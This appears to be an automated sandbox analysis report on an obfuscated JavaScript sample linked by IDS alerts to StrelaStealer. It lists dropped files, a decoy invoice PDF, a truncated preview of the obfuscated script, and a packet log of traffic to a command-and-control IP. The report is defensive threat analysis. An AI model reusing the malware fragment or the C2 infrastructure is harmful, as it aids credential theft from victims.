Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ce5bd7b1-3822-4ecc-a5e1-3a5f3f5f0cf0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15969), with CRLF line terminators
Entropy (8bit):	4.893599513028229
TrID:
File name:	2948124376300195806.js
File size:	19'338 bytes
MD5:	0b80b9e1b9ce5d7b2a26d14c18c47f18
SHA1:	e55fd592d0de0966235e1bc3256ae20e99b90200
SHA256:	fa685602c0787c9ed3452598d3fb40d6a679d246863eb1b51239618ceba49449
SHA512:	3d74256873bae03d5404c821a91d15713bd826662235b462f265377f25ddecc1af50a76013ffc23b3a4b6344cbf184b2825aee4aed1f102ae4224d8cbdb178fa
SSDEEP:	384:Xq3TXdwiU3UrZQMXXSDuuFFIQ2vlNkSfpxmbCYkV7IAIwH:6dFCUbUuuFFIQ2vlNkSfpxmbCYSIAH
TLSH:	6292A54EC938A36B1BDC85B5E45D58E5A2DC100ED09E40C34C5F7CE50E6EB623AF25BA
File Content Preview:	function qpkcsje(){sbrcx=[1031,3079,5127,4103,2055,3072];var nklge=this[mcsev+iufugjzxt+ulayk+icibzc+yuoopzut+rkhnrn+fptons+mcbxjwf](this[hkblk+yzjvegehr+ndswks+ulayk+wuchx+mcsev+mcbxjwf][xapshwax+ulayk+yuoopzut+iufugjzxt+mcbxjwf+yuoopzut+iqtpt+urymii+yav

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:47:06.368535+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T07:47:06.368535+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T07:47:08.799926+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:47:05.550095081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:05.555146933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:05.555280924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:05.558300972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:05.563092947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368489027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368503094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368520975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368535042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.368544102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368561029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368591070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.368622065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368633032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368652105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368655920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.368665934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368681908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.368685007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.368717909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.373311996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.414489031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.414510012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.414545059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.456243992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.494352102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.494421005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.494469881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.494484901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.494517088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.494565964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.494568110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.494615078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.494641066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.494667053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.494968891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.494981050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.494998932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.495011091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.495018005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.495028973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.495038986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.495064020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.495762110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.495773077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.495793104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.495811939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.495816946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.495835066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.495865107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.496699095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.496711016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.496728897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.496737957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.496742010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.496763945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.548633099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.548649073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.548667908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.548728943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.550081015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.586440086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.586504936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.586661100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.619601965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.619656086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.619745016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.619776011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.619793892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.619847059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.619857073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.619988918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620032072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620033026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.620066881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620088100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620105028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.620110035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620151043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.620457888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620481014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620495081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620510101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620517015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.620526075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620543957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.620985031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.620996952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.621016979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.621032000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.621045113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.621056080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.621056080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.621097088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.621098042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.621113062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.621145964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.622023106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622035027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622055054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622067928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622075081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.622087002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622100115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622103930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.622118950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622140884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.622863054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622874975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622890949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622903109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.622916937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622925043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.622934103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622951031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622966051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.622967005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.622998953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.623749018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.623760939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.623788118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.623801947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.623807907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.623821020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.623833895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.623837948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.623869896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.641251087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.641273975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.641285896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.641292095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.641320944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.641694069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.664841890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.664860964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.664928913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.678888083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.678908110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.678920984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.679095030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.711982965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.712001085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.712124109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.744766951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.744792938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.744815111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.744827986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.744846106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.744920015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.744930983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.744936943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.744961023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.744986057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.744986057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.744991064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.744996071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.745031118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745065928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.745100975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745115042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745141029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745147943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.745431900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745444059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745462894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745477915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.745477915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745495081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745501041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.745527983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.745682001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745692968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745712042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745731115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.745732069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745748043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745764971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.745769024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.745807886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.746210098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746222019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746247053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746256113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746263981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.746279001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746299028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746305943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.746324062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746340990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746345043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.746355057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746375084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746376991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.746391058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746406078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.746406078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.746443033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.747121096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747133970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747153997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747175932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747176886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.747194052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747209072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747215033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.747226954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747240067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747248888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.747257948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747273922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.747275114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747292042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747308969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.747319937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747354031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.747925997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747956991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747971058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.747992039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.748008966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.748023987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.748040915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.748044968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.748058081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.748079062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.748121977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.748136997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.748153925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.748157024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.748169899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.748184919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.748187065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.748224020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.748790026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 07:47:06.754267931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:47:06.757116079 CET	80	49705	193.143.1.205	192.168.2.8
